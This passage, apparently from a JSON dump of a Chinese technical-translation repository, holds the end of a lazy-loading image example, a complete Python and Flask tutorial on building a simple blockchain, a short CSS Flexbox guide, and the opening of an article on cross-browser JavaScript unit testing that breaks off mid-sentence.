/>\n        <noscript>\n            <img \n                src=\"http://static4.comicvine.com/uploads/scale_super/0/1867/583743-moonwing1.jpg\" \n                alt=\"Moonwing\"\n                width=\"300px\" />\n        </noscript>\n        <span class=\"itemtitle\">Moonwing</span>\n    </div>\n    \n    <div class=\"item\">\n        <img \n            src=\"http://spacergif.org/spacer.gif\" \n            class=\"lazy\" \n            data-src=\"http://static5.comicvine.com/uploads/scale_super/0/1867/583739-hawkeyei.jpg\" \n            alt=\"Hawkeye\"\n            width=\"300px\" />\n        <noscript>\n            <img \n                src=\"http://static5.comicvine.com/uploads/scale_super/0/1867/583739-hawkeyei.jpg\" \n                alt=\"Hawkeye\"\n                width=\"300px\" />\n        </noscript>\n        <span class=\"itemtitle\">Hawkeye</span>\n    </div>\n    \n    <div class=\"item\">\n        <img \n            src=\"http://spacergif.org/spacer.gif\" \n            class=\"lazy\" \n            data-src=\"http://static3.comicvine.com/uploads/scale_super/0/1867/583733-ammrcury1.jpg\" \n            alt=\"Mercury\"\n            width=\"300px\" />\n        <noscript>\n            <img \n                src=\"http://static3.comicvine.com/uploads/scale_super/0/1867/583733-ammrcury1.jpg\" \n                alt=\"Mercury\"\n                width=\"300px\" />\n        </noscript>\n        <span class=\"itemtitle\">Mercury</span>\n    </div>\n    \n    <div class=\"item\">\n        <img \n            src=\"http://spacergif.org/spacer.gif\" \n            class=\"lazy\" \n            data-src=\"http://static2.comicvine.com/uploads/scale_super/0/1867/583737-drfate3.jpg\" \n            alt=\"Dr. Strangefate\"\n            width=\"300px\" />\n        <noscript>\n            <img \n                src=\"http://static2.comicvine.com/uploads/scale_super/0/1867/583737-drfate3.jpg\" \n                alt=\"Dr. Strangefate\"\n                width=\"300px\" />\n        </noscript>\n        <span class=\"itemtitle\">Dr. Strangefate</span>\n    </div>\n\n  </span>\n </div>\n\n<script>\nvar lazy = [];\nregisterListener('load', setLazy);\nregisterListener('load', lazyLoad);\nregisterListener('scroll', lazyLoad);\nregisterListener('resize', lazyLoad);\nfunction setLazy(){\n    document.getElementById('listing').removeChild(document.getElementById('viewMore'));\n    document.getElementById('nextPage').removeAttribute('class');\n    \n    lazy = document.getElementsByClassName('lazy');\n    console.log('Found ' + lazy.length + ' lazy images');\n} \nfunction lazyLoad(){\n    for(var i=0; i<lazy.length; i++){\n        if(isInViewport(lazy[i])){\n            if (lazy[i].getAttribute('data-src')){\n                lazy[i].src = lazy[i].getAttribute('data-src');\n                lazy[i].removeAttribute('data-src');\n            }\n        }\n    }\n    \n    cleanLazy();\n}\nfunction cleanLazy(){\n    lazy = Array.prototype.filter.call(lazy, function(l){ return l.getAttribute('data-src');});\n}\nfunction isInViewport(el){\n    var rect = el.getBoundingClientRect();\n    \n    return (\n        rect.bottom >= 0 && \n        rect.right >= 0 && \n        rect.top <= (window.innerHeight || document.documentElement.clientHeight) && \n        rect.left <= (window.innerWidth || document.documentElement.clientWidth)\n     );\n}\nfunction registerListener(event, func) {\n    if (window.addEventListener) {\n        window.addEventListener(event, func)\n    } else {\n        window.attachEvent('on' + event, func)\n    }\n}\n</script>\n</body>\n</html>\n\n```\n\n实时预览代码: [http://codepen.io/rposbo/pen/EKmXvo](http://codepen.io/rposbo/pen/EKmXvo)\n\n## 总结\n\n正如你看到的，的确实现了懒加载图片（包括你想了解的其他内容），同时对损坏的JavaScript和不支持JavaScript的条件下进行了兼容。\n\n\n这有一个GitHub仓库作为实践，展示了主页面和“flat”列表页的区别：[https://github.com/rposbo/lazyloadimages](https://github.com/rposbo/lazyloadimages)\n\n此仓库还展示了在.NET中实现的解决方案，通过相同的动态生成items到两个列表页。\n\n\n"
  },
  {
    "path": "TODO/learn-blockchains-by-building-one.md",
    "content": "\n> * 原文地址：[Learn Blockchains by Building One: The fastest way to learn how Blockchains work is to build one](https://hackernoon.com/learn-blockchains-by-building-one-117428612f46)\n> * 原文作者：[Daniel van Flymen](https://hackernoon.com/@vanflymen?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/learn-blockchains-by-building-one.md](https://github.com/xitu/gold-miner/blob/master/TODO/learn-blockchains-by-building-one.md)\n> * 译者：[cdpath](https://github.com/cdpath)\n> * 校对者：[atuooo](https://github.com/atuooo) [dubuqingfeng](https://github.com/dubuqingfeng)\n\n# 从零到一用 Python 写一个区块链\n\n![](https://cdn-images-1.medium.com/max/2000/1*zutLn_-fZZhy7Ari-x-JWQ.jpeg)\n\n本文的读者想必跟我一样对数字加密货币的崛起兴奋不已，应该也想了解数字加密货币背后的区块链的工作原理吧。\n\n但是区块链不太好懂，反正我理解起来比较费劲。我看了不少难懂的视频，学了些漏洞百出的教程，找了些少得可怜的例子试了试，都挺让人失望的。\n\n我喜欢在实践中学习。这迫使我搞定在代码层面就至关重要的东西，这才是黏人的地方。如果你和我一样，读完本文你就可以构建一个可以使用的区块链，同时扎实理解其工作原理。\n\n## 背景知识……\n\n要知道区块链是**不可变的，有序的**记录的链，记录也叫做区块。区块可以包含交易，文件或者任何你能想到的数据。不过至关重要的是，它们由**哈希值****链接**在一起。\n\n如果你不知道哈希是什么，先看看 [这篇文章](https://learncryptography.com/hash-functions/what-are-hash-functions)。\n\n**本文的目标读者是谁？** 你应该可以熟练读写基本的 Python 代码，也要基本了解 HTTP 请求的工作原理，因为本文将要实现的区块链依赖 HTTP。\n\n**需要什么环境？** Python 版本不低于 3.6，装有 `pip`。还需要安装 Flask 和绝赞的 Requests 库：\n\n```\npip install Flask==0.12.2 requests==2.18.4\n```\n\n哦，你还得有个 HTTP 客户端，比如 Postman 或者 cURL。随便什么都可以。\n\n**那代码在哪里？** 源代码在 [这里](https://github.com/dvf/blockchain)。\n\n## 第一步：创建 Blockchain 类\n\n用你喜欢的编辑器或者 IDE，新建 `blockchain.py` 文件，我个人比较喜欢 [PyCharm](https://www.jetbrains.com/pycharm/)。本文全文都使用这一个文件，但是如果你搞丢了，可以参考[源代码](https://github.com/dvf/blockchain)。\n\n### 表示区块链\n\n创建 `Blockchain` 类，其构造函数会创建两个初始为空的列表，一个存储区块链，另一个存储交易信息。类设计如下：\n\n```\nclass Blockchain(object):\n    def __init__(self):\n        self.chain = []\n        self.current_transactions = []\n        \n    def new_block(self):\n        # Creates a new Block and adds it to the chain\n        pass\n    \n    def new_transaction(self):\n        # Adds a new transaction to the list of transactions\n        pass\n    \n    @staticmethod\n    def hash(block):\n        # Hashes a Block\n        pass\n\n    @property\n    def last_block(self):\n        # Returns the last Block in the chain\n        pass\n```\n\nBlockchain 类的设计\n\n\n`Blockchain` 类负责管理链。它用来存储交易信息，也有一些帮助方法用来将新区块添加到链中。我们接着来实现一些方法。\n\n### 区块长什么样？\n\n每个区块都有其**索引**，**时间戳**（Unix 时间），**交易列表**，**证明**（稍后解释），以及**前序区块的哈希值**。\n\n下面是一个单独区块：\n\n```\nblock = {\n    'index': 1,\n    'timestamp': 1506057125.900785,\n    'transactions': [\n        {\n            'sender': \"8527147fe1f5426f9dd545de4b27ee00\",\n            'recipient': \"a77f5cdfa2934df3954a5c7c7da5df1f\",\n            'amount': 5,\n        }\n    ],\n    'proof': 324984774000,\n    'previous_hash': \"2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824\"\n}\n```\n\n区块链中的区块的例子\n\n到这里**链**的概念就介绍清楚了：每个新区块都包含上一个区块的哈希。**这一重要概念使得区块链的不可变性成为可能**：如果攻击者篡改了链中的前序区块，**所有**的后续区块的哈希都是错的。\n\n理解了吗？如果没有想明白，花点时间思考一下，这是区块链的核心思想。\n\n### 在区块中添加交易信息\n\n此外，还需要在区块中添加交易信息的方法。用 `new_transaction()` 方法来做这件事吧，代码写出来非常直观：\n\n```\nclass Blockchain(object):\n    ...\n    \n    def new_transaction(self, sender, recipient, amount):\n        \"\"\"\n        Creates a new transaction to go into the next mined Block\n        :param sender: <str> Address of the Sender\n        :param recipient: <str> Address of the Recipient\n        :param amount: <int> Amount\n        :return: <int> The index of the Block that will hold this transaction\n        \"\"\"\n\n        self.current_transactions.append({\n            'sender': sender,\n            'recipient': recipient,\n            'amount': amount,\n        })\n\n        return self.last_block['index'] + 1\n```\n\n`new_transaction()` 在列表中添加新交易之后，会返回该交易被加到的区块的**索引**，也就是指向**下一个要挖的区块**。稍后会讲到这对于之后提交交易的用户会有用。\n\n## 创建新区块\n\n实例化 `Blockchain` 类之后，需要新建一个**创始区块**，它没有任何前序区块。此外还要在创始区块中加入**证明**，证明来自挖矿（或者工作量证明）。稍后再来讨论挖矿这件事。\n\n除了要在构造函数中创建**创始区块**，我们还要实现  `new_block()`，`new_transaction()` 和 `hash()`。\n\n```\nimport hashlib\nimport json\nfrom time import time\n\n\nclass Blockchain(object):\n    def __init__(self):\n        self.current_transactions = []\n        self.chain = []\n\n        # Create the genesis block\n        self.new_block(previous_hash=1, proof=100)\n\n    def new_block(self, proof, previous_hash=None):\n        \"\"\"\n        Create a new Block in the Blockchain\n        :param proof: <int> The proof given by the Proof of Work algorithm\n        :param previous_hash: (Optional) <str> Hash of previous Block\n        :return: <dict> New Block\n        \"\"\"\n\n        block = {\n            'index': len(self.chain) + 1,\n            'timestamp': time(),\n            'transactions': self.current_transactions,\n            'proof': proof,\n            'previous_hash': previous_hash or self.hash(self.chain[-1]),\n        }\n\n        # Reset the current list of transactions\n        self.current_transactions = []\n\n        self.chain.append(block)\n        return block\n\n    def new_transaction(self, sender, recipient, amount):\n        \"\"\"\n        Creates a new transaction to go into the next mined Block\n        :param sender: <str> Address of the Sender\n        :param recipient: <str> Address of the Recipient\n        :param amount: <int> Amount\n        :return: <int> The index of the Block that will hold this transaction\n        \"\"\"\n        self.current_transactions.append({\n            'sender': sender,\n            'recipient': recipient,\n            'amount': amount,\n        })\n\n        return self.last_block['index'] + 1\n\n    @property\n    def last_block(self):\n        return self.chain[-1]\n\n    @staticmethod\n    def hash(block):\n        \"\"\"\n        Creates a SHA-256 hash of a Block\n        :param block: <dict> Block\n        :return: <str>\n        \"\"\"\n\n        # We must make sure that the Dictionary is Ordered, or we'll have inconsistent hashes\n        block_string = json.dumps(block, sort_keys=True).encode()\n        return hashlib.sha256(block_string).hexdigest()\n```\n\n上面的代码还是比较直观的，还有一些注释和文档字符串做进一步解释。这样就差不多可以表示区块链了。但是到了这一步，你一定好奇新区块是怎样被创建，锻造或者挖出来的。\n\n### 理解工作量证明\n\n工作量证明算法（PoW）表述了区块链中的新区块是如何创建或者挖出来的。PoW 的目的是寻找符合特定规则的数字。对网络中的任何人来说，从计算的角度上看，该数字必须**难以寻找，易于验证**。这是工作量证明算法背后的核心思想。\n\n下面给出一个非常简单的例子来帮助理解。\n\n不妨规定某整数 `x` 乘以另一个 `y` 的哈希必须以 `0`结尾。也就是 `hash(x * y) = ac23dc...0`。就这个例子而言，不妨将令 `x = 5`。Python 实现如下：\n\n```\nfrom hashlib import sha256\nx = 5\ny = 0  # We don't know what y should be yet...\nwhile sha256(f'{x*y}'.encode()).hexdigest()[-1] != \"0\":\n    y += 1\nprint(f'The solution is y = {y}')\n```\n\n解就是 `y = 21`。因为这样得到的哈希的结尾是 `0`：\n\n```\nhash(5 * 21) = 1253e9373e...5e3600155e860\n```\n\n比特币的工作量算法叫做 [`Hashcash`](https://en.wikipedia.org/wiki/Hashcash)。它和上面给出例子非常类似。矿工们争相求解这个算法以便创建新块。总体而言，难度大小取决于要在字符串中找到多少特定字符。矿工给出答案的报酬就是在交易中得到比特币。\n\n而网络可以**轻松地**验证答案。\n\n### 实现基本的工作量证明\n\n接下来为我们的区块链实现一个类似的算法。规则和上面的例子类似：\n\n> 寻找数字 `p`，当它和前一个区块的证明一起求哈希时，该哈希开头是四个 `0`。\n\n```\nimport hashlib\nimport json\n\nfrom time import time\nfrom uuid import uuid4\n\n\nclass Blockchain(object):\n    ...\n        \n    def proof_of_work(self, last_proof):\n        \"\"\"\n        Simple Proof of Work Algorithm:\n         - Find a number p' such that hash(pp') contains leading 4 zeroes, where p is the previous p'\n         - p is the previous proof, and p' is the new proof\n        :param last_proof: <int>\n        :return: <int>\n        \"\"\"\n\n        proof = 0\n        while self.valid_proof(last_proof, proof) is False:\n            proof += 1\n\n        return proof\n\n    @staticmethod\n    def valid_proof(last_proof, proof):\n        \"\"\"\n        Validates the Proof: Does hash(last_proof, proof) contain 4 leading zeroes?\n        :param last_proof: <int> Previous Proof\n        :param proof: <int> Current Proof\n        :return: <bool> True if correct, False if not.\n        \"\"\"\n\n        guess = f'{last_proof}{proof}'.encode()\n        guess_hash = hashlib.sha256(guess).hexdigest()\n        return guess_hash[:4] == \"0000\"\n```\n\n要调整算法的难度，直接修改要求的零的个数就行了。不过 4 个零足够了。你会发现哪怕多一个零都会让求解难度倍增。\n\n类写得差不多了，可以用 HTTP 请求与之交互了。\n\n## 第二步：将 Blockchain 用作 API\n\n本文使用 Python Flask 框架。Flask 是一个微框架，易于将网络端点映射到 Python 函数。由此可以轻易地借助 HTTP 请求通过网络和区块链交互。\n\n这里需要创建三个方法：\n\n* `/transactions/new` 在区块中新增交易\n* `/mine` 通知服务器开采新节点\n* `/chain` 返回完整的区块链\n\n### 开始 Flask 吧\n\n这个服务器会构成区块链网络中的一个节点。下面是一些模板代码：\n\n```\nimport hashlib\nimport json\nfrom textwrap import dedent\nfrom time import time\nfrom uuid import uuid4\n\nfrom flask import Flask\n\n\nclass Blockchain(object):\n    ...\n\n\n# Instantiate our Node\napp = Flask(__name__)\n\n# Generate a globally unique address for this node\nnode_identifier = str(uuid4()).replace('-', '')\n\n# Instantiate the Blockchain\nblockchain = Blockchain()\n\n\n@app.route('/mine', methods=['GET'])\ndef mine():\n    return \"We'll mine a new Block\"\n  \n@app.route('/transactions/new', methods=['POST'])\ndef new_transaction():\n    return \"We'll add a new transaction\"\n\n@app.route('/chain', methods=['GET'])\ndef full_chain():\n    response = {\n        'chain': blockchain.chain,\n        'length': len(blockchain.chain),\n    }\n    return jsonify(response), 200\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=5000)\n```\n\n稍微解释一下：\n\n* **第 15 行:** 初始化节点。更多信息请阅读 [Flask 文档](http://flask.pocoo.org/docs/0.12/quickstart/#a-minimal-application)。\n* **第 18 行:** 随机给节点起名。\n* **第 21 行:** 初始化 `Blockchain` 类\n* **第 24–26 行:** 创建 `/mine` 接口，使用 `GET` 方法。\n* **第 28–30 行:** 创建 `/transactions/new` 接口，使用 `POST` 方法，因为要给它发数据。\n* **第 32–38 行:** 创建 `/chain` 接口，它会返回整个区块链。\n* **第 40–41 行:** 服务器运行在 5000 端口。\n\n### 交易端\n\n下面是交易请求的内容，也就是发给服务器的东西：\n\n```\n{\n \"sender\": \"my address\",\n \"recipient\": \"someone else's address\",\n \"amount\": 5\n}\n```\n\n因为已经有类方法将交易加到区块中，剩下的就很简单了。写一个添加交易的函数：\n\n```\nimport hashlib\nimport json\nfrom textwrap import dedent\nfrom time import time\nfrom uuid import uuid4\n\nfrom flask import Flask, jsonify, request\n\n...\n\n@app.route('/transactions/new', methods=['POST'])\ndef new_transaction():\n    values = request.get_json()\n\n    # Check that the required fields are in the POST'ed data\n    required = ['sender', 'recipient', 'amount']\n    if not all(k in values for k in required):\n        return 'Missing values', 400\n\n    # Create a new Transaction\n    index = blockchain.new_transaction(values['sender'], values['recipient'], values['amount'])\n\n    response = {'message': f'Transaction will be added to Block {index}'}\n    return jsonify(response), 201\n```\n\n创建交易的方法\n\n### 挖矿端\n\n挖矿端是见证奇迹的地方。非常简单，只需要做三件事：\n\n1. 计算工作量证明\n2. 奖励矿工（这里就是我们），新增一次交易就赚一个币\n3. 将区块加入链就可以构建新区块\n\n```\nimport hashlib\nimport json\n\nfrom time import time\nfrom uuid import uuid4\n\nfrom flask import Flask, jsonify, request\n\n...\n\n@app.route('/mine', methods=['GET'])\ndef mine():\n    # We run the proof of work algorithm to get the next proof...\n    last_block = blockchain.last_block\n    last_proof = last_block['proof']\n    proof = blockchain.proof_of_work(last_proof)\n\n    # We must receive a reward for finding the proof.\n    # The sender is \"0\" to signify that this node has mined a new coin.\n    blockchain.new_transaction(\n        sender=\"0\",\n        recipient=node_identifier,\n        amount=1,\n    )\n\n    # Forge the new Block by adding it to the chain\n    block = blockchain.new_block(proof)\n\n    response = {\n        'message': \"New Block Forged\",\n        'index': block['index'],\n        'transactions': block['transactions'],\n        'proof': block['proof'],\n        'previous_hash': block['previous_hash'],\n    }\n    return jsonify(response), 200\n```\n\n注意，挖出来区块的接受方就是节点的地址。这里做的事情基本上就是和 Blockchain 类的方法打交道。代码写到这里就差不多搞定了，下面可以和区块链进行交互了。\n\n## 第三步：和 Blockchain 交互\n\n可以用简洁又古老的 cURL 或者 Postman 来通过网络用 API 和区块链交互。\n\n启动服务器：\n\n```\n$ python blockchain.py\n\n* Running on [http://127.0.0.1:5000/](http://127.0.0.1:5000/) (Press CTRL+C to quit)\n```\n\n通过 `GET` 请求 `http://localhost:5000/mine` 尝试挖一块新区块。\n\n![Using Postman to make a GET request](https://cdn-images-1.medium.com/max/800/1*ufYwRmWgQeA-Jxg0zgYLOA.png)\n\n通过 `POST` 请求 `http://localhost:5000/transactions/new` 来创建新交易，POST 的数据要包含如下交易结构：\n\n![Using Postman to make a POST request](https://cdn-images-1.medium.com/max/800/1*O89KNbEWj1vigMZ6VelHAg.png)\n\n不用 Postman 的话还可以用等价的 cURL 命令：\n\n```\n$ curl -X POST -H \"Content-Type: application/json\" -d '{\n \"sender\": \"d4ee26eee15148ee92c6cd394edd974e\",\n \"recipient\": \"someone-other-address\",\n \"amount\": 5\n}' \"[http://localhost:5000/transactions/new](http://localhost:5000/transactions/new)\"\n```\n\n重启服务器后，加上新挖出的两个区块，现在有了三个区块。通过请求 `http://localhost:5000/chain` 来查看全部区块链：\n\n```\n{\n  \"chain\": [\n    {\n      \"index\": 1,\n      \"previous_hash\": 1,\n      \"proof\": 100,\n      \"timestamp\": 1506280650.770839,\n      \"transactions\": []\n    },\n    {\n      \"index\": 2,\n      \"previous_hash\": \"c099bc...bfb7\",\n      \"proof\": 35293,\n      \"timestamp\": 1506280664.717925,\n      \"transactions\": [\n        {\n          \"amount\": 1,\n          \"recipient\": \"8bbcb347e0634905b0cac7955bae152b\",\n          \"sender\": \"0\"\n        }\n      ]\n    },\n    {\n      \"index\": 3,\n      \"previous_hash\": \"eff91a...10f2\",\n      \"proof\": 35089,\n      \"timestamp\": 1506280666.1086972,\n      \"transactions\": [\n        {\n          \"amount\": 1,\n          \"recipient\": \"8bbcb347e0634905b0cac7955bae152b\",\n          \"sender\": \"0\"\n        }\n      ]\n    }\n  ],\n  \"length\": 3\n}\n```\n\n## 第四步：共识\n\n非常酷对不对？我们已经构建了基本的区块链，不仅支持交易，还可以挖矿。但是区块链的核心是**去中心化**。但是如果要去中心化，怎么知道每个区块都在同一个链中呢？这就是**共识**问题，如果网络中不只这一个节点，必须实现共识算法。\n\n### 注册新节点\n\n在实现共识算法之前：我们需要让节点知道其所在的网络存在邻居节点。网络中的每一个节点都应该保存网络中其他节点的信息。所以要写几个新接口：\n\n1. `/nodes/register` 接受新节点的列表，形式是 URL。\n2. `/nodes/resolve` 来执行共识算法，解决所有冲突，确保节点的链是正确的\n\n下面需要修改 Blockchain 类的构造函数，然后写一下注册节点的方法：\n\n```\n...\nfrom urllib.parse import urlparse\n...\n\n\nclass Blockchain(object):\n    def __init__(self):\n        ...\n        self.nodes = set()\n        ...\n\n    def register_node(self, address):\n        \"\"\"\n        Add a new node to the list of nodes\n        :param address: <str> Address of node. Eg. 'http://192.168.0.5:5000'\n        :return: None\n        \"\"\"\n\n        parsed_url = urlparse(address)\n        self.nodes.add(parsed_url.netloc)\n```\n\n在网络中注册邻居节点的方法\n\n注意，这里使用了 `set()` 来保存节点列表。这是用来确保添加节点是幂等的简单方法，也就是说不管某节点被添加了多少次，它只出现一次。\n\n### 实现共识网络\n\n上面提过，冲突就是一个节点的链和其他节点的不同。要解决冲突，我们制定了一个规则：**最长有效链即权威**。也就是说，网络中最长的链就是**事实上**正确的链。有了这个算法，就可以在网络中的多个节点中实现**共识**。\n\n```\n...\nimport requests\n\n\nclass Blockchain(object)\n    ...\n    \n    def valid_chain(self, chain):\n        \"\"\"\n        Determine if a given blockchain is valid\n        :param chain: <list> A blockchain\n        :return: <bool> True if valid, False if not\n        \"\"\"\n\n        last_block = chain[0]\n        current_index = 1\n\n        while current_index < len(chain):\n            block = chain[current_index]\n            print(f'{last_block}')\n            print(f'{block}')\n            print(\"\\n-----------\\n\")\n            # Check that the hash of the block is correct\n            if block['previous_hash'] != self.hash(last_block):\n                return False\n\n            # Check that the Proof of Work is correct\n            if not self.valid_proof(last_block['proof'], block['proof']):\n                return False\n\n            last_block = block\n            current_index += 1\n\n        return True\n\n    def resolve_conflicts(self):\n        \"\"\"\n        This is our Consensus Algorithm, it resolves conflicts\n        by replacing our chain with the longest one in the network.\n        :return: <bool> True if our chain was replaced, False if not\n        \"\"\"\n\n        neighbours = self.nodes\n        new_chain = None\n\n        # We're only looking for chains longer than ours\n        max_length = len(self.chain)\n\n        # Grab and verify the chains from all the nodes in our network\n        for node in neighbours:\n            response = requests.get(f'http://{node}/chain')\n\n            if response.status_code == 200:\n                length = response.json()['length']\n                chain = response.json()['chain']\n\n                # Check if the length is longer and the chain is valid\n                if length > max_length and self.valid_chain(chain):\n                    max_length = length\n                    new_chain = chain\n\n        # Replace our chain if we discovered a new, valid chain longer than ours\n        if new_chain:\n            self.chain = new_chain\n            return True\n\n        return False\n```\n\n第一个方法 `valid_chain()` 负责检查链的有效性，主要是通过遍历每个区块，验证哈希和工作量证明。\n\n`resolve_conflicts()` 方法会遍历所有邻居节点，**下载**它们的链，用上面的方法来验证。**如果找到了有效链，而且长度比本地的要长，就替换掉本地的链**。\n\n接下来将这两个接口注册到 API 中，一个用来新增邻居节点，另一个来解决冲突：\n\n```\n@app.route('/nodes/register', methods=['POST'])\ndef register_nodes():\n    values = request.get_json()\n\n    nodes = values.get('nodes')\n    if nodes is None:\n        return \"Error: Please supply a valid list of nodes\", 400\n\n    for node in nodes:\n        blockchain.register_node(node)\n\n    response = {\n        'message': 'New nodes have been added',\n        'total_nodes': list(blockchain.nodes),\n    }\n    return jsonify(response), 201\n\n\n@app.route('/nodes/resolve', methods=['GET'])\ndef consensus():\n    replaced = blockchain.resolve_conflicts()\n\n    if replaced:\n        response = {\n            'message': 'Our chain was replaced',\n            'new_chain': blockchain.chain\n        }\n    else:\n        response = {\n            'message': 'Our chain is authoritative',\n            'chain': blockchain.chain\n        }\n\n    return jsonify(response), 200\n```\n\n到这一步，如果你愿意，可以用另一台电脑，在网络中启动不同的节点。或者用同一台电脑的不同端口启动进程加入网络。我选择用同一个电脑的不同的端口注册新节点，这样就有了两个节点：`http://localhost:5000` 和 `http://localhost:5001`。\n\n![Registering a new Node](https://cdn-images-1.medium.com/max/800/1*Dd78u-gmtwhQWHhPG3qMTQ.png)\n\n我在 2 号节点挖出了新区块，保证 2 号节点的链更长。然后用 `GET` 调用 1 号节点的 `/nodes/resolve`，可以发现链被通过共识算法替换了：\n\n![Consensus Algorithm at Work](https://cdn-images-1.medium.com/max/800/1*SGO5MWVf7GguIxfz6S8NVw.png)\n\n这样子就差不多完工了。 叫一些朋友来一起试试你的区块链吧。\n\n我希望这个教程可以激发你创建新东西的热情。我迷恋数字加密货币，因为我相信区块链技术会快速改变我们思考经济学，政府以及记录信息的方式。\n\n**更新**：我打算接着写本文的第二部分，继续拓展本文实现的区块链以涵盖交易验证机制并讨论如何让区块链产品化。\n\n> 如果你喜欢这个教程，或者有建议或疑问，欢迎评论。如果你发现了任何错误，欢迎在[这里](https://github.com/dvf/blockchain)为我们贡献代码!\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/learn-css-flexbox-in-3-minutes.md",
    "content": "> * 原文地址：[Learn CSS Flexbox in 3 Minutes](https://medium.com/learning-new-stuff/learn-css-flexbox-in-3-minutes-c616c7070672)\n* 原文作者：[Per Harald Borgen](https://medium.com/@perborgen)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Gran](https://github.com/Graning)\n* 校对者：[mypchas6fans](https://github.com/mypchas6fans), [MAYDAY1993](https://github.com/MAYDAY1993)\n\n# 3 分钟掌握 CSS Flexbox\n\n![](https://cdn-images-1.medium.com/max/800/1*baslR_nGORHYX4STOjhhpg.png)\n\n在这篇文章中你将学到关于 CSS 中弹性布局**最重要**的概念。如果你发现你经常在 CSS 布局上纠结，这篇文章将帮你解脱出来。\n\n我们将只专注那些核心要素，暂时抛弃那些你现在**不应该注意**的东西直到你掌握基础。\n\n**1\\. 容器和项目**\n\n弹性布局中两个主要的组件是**容器**（蓝色）和**项目**（红色）。我们将在本教程的这个示例中看到，无论是**容器**还是**项目**都是  **div’s**。查看 [示例代码](https://github.com/perborgen/FlexboxTutorial) 如果你有兴趣 。\n\n#### 横向布局\n\n要创建一个弹性布局，只需要给**容器**设置以下的 CSS 属性。\n\n    .container {\n        display: flex;\n    }\n\n布局的结果如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*3zzvOetr1fjDrZKEEmo9dA.png)\n\n注意你目前不需要对**项目**做任何事，它们将沿水平轴自动定位。\n\n#### 垂直布局\n\n在上述布局中，**主轴线**是水平的，**交叉轴**是垂直的。**轴**的概念对理解弹性布局有帮助。\n\n当你添加 **flex-direction**: **column** 时可以交换这两个轴。\n\n    .container {\n        display: flex;\n        flex-direction: column;\n    }\n\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1\\*yPT-82-JPYk8b2Rh\\_3K6sQ.png)\n\n\n则现在**主轴线**是垂直的，而**交叉轴**是水平的，导致**项目**被垂直堆叠。\n\n### 2\\. Justify content and Align items\n\n为了使列表再次水平，我们能将 **flex-direction** 从 **column** 设置为 **row** 因为这将再次翻转弹性布局的轴。\n\n轴的概念必须理解是因为 **justify-content** 和 **align-items** 这两个属性控制如何使项目**主轴线**和**交叉轴**分别定位。\n\n让我们通过使用 **justify-content** 来沿**主轴**居中所有的项目：\n\n    .container {\n        display: flex;\n        flex-direction: row;\n        justify-content: center;\n    }\n\n![](https://cdn-images-1.medium.com/max/800/1\\*KAFfHDFWCd12qI3TqSS8DQ.png)\n\n使用 **align-items** 沿着**交叉轴**进行调整。\n\n    .container {\n        display: flex;\n        flex-direction: row;\n        justify-content: center;\n        align-items: center;\n    }\n\n \n![](https://cdn-images-1.medium.com/max/800/1\\*S666Y69uJUWgQ0rz8tzjOQ.png)\n\n\n\n以下是你可以为 **justify-content** 和 **align-items** 设置的其他值：\n\n**justify-content:**\n\n*   flex-start (**default**)\n*   flex-end\n*   center\n*   space-between\n*   space-around\n\n**align-items:**\n\n*   flex-start **(default)**\n*   flex-end\n*   center\n*   baseline\n*   stretch\n\n我建议你将 **justify-content** 和 **align-items** 属性与可为 **column** 和 **row** 值的 **flex-direction** 结合使用。这将让你更好的理解这个概念。\n\n### 3\\. The items\n\n我们将了解的最后一件事就是 **items** 本身，以及如何将具体的样式单独设置。\n\n比方说，我们想调整第一个 item 的位置，我们通过给它一个与 **align-items** 接收同样的值的 **align-self** CSS 属性来实现：\n\n    .item1 {\n      align-self: flex-end;\n    }\n\n\n将形成以下的布局：\n\n![](https://cdn-images-1.medium.com/max/800/1\\*-NBG56jX-QKYaga6qiF0eg.png)\n\n就是这样！\n\n当然关于弹性布局还有很多要学习，但是上面的概念是我最常用的，因此能正确理解很重要。\n\n"
  },
  {
    "path": "TODO/learning-how-to-set-up-automated-cross-browser-javascript-unit-testing.md",
    "content": "* 原文链接：[Learning How to Set Up Automated, Cross-browser JavaScript Unit Testing](https://philipwalton.com/articles/learning-how-to-set-up-automated-cross-browser-javascript-unit-testing)\n* 原文作者：[PHILIP WALTON](https://philipwalton.com/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[owenlyn](https://github.com/owenlyn)\n* 校对者：[Yaowenjie](https://github.com/Yaowenjie) [MAYDAY1993](https://github.com/MAYDAY1993)\n\n# 如何搭建自动化、跨浏览器的 JavaScript 单元测试\n\n我们都知道在各个不同的浏览器环境里测试代码是很重要的，并且在大多数时候，我们这些 Web 开发者在这一点上还是做的不错的 —— 至少在第一次发布项目的时候是这样。\n\n然而我们每次更改代码之后的测试工作，却做的不尽人意。\n\n我深切地知道我本人就是这样的 —— 我早就把“学习怎样搭建自动化、跨浏览器的 JavaScript 单元测试”写在 To-do List 上了，但每当我坐下来想要真正的去解决这个问题的时候，我却不得不一次次地放弃了。虽然我知道我的懒惰是其中一部分原因，但同时，在这个问题上的相关信息极其匮乏，也是一个重要因素。\n\n现在已经有了很多声称可以让 “JavasScript 测试变得简单而又自动化”的工具和框架（比如 Karma 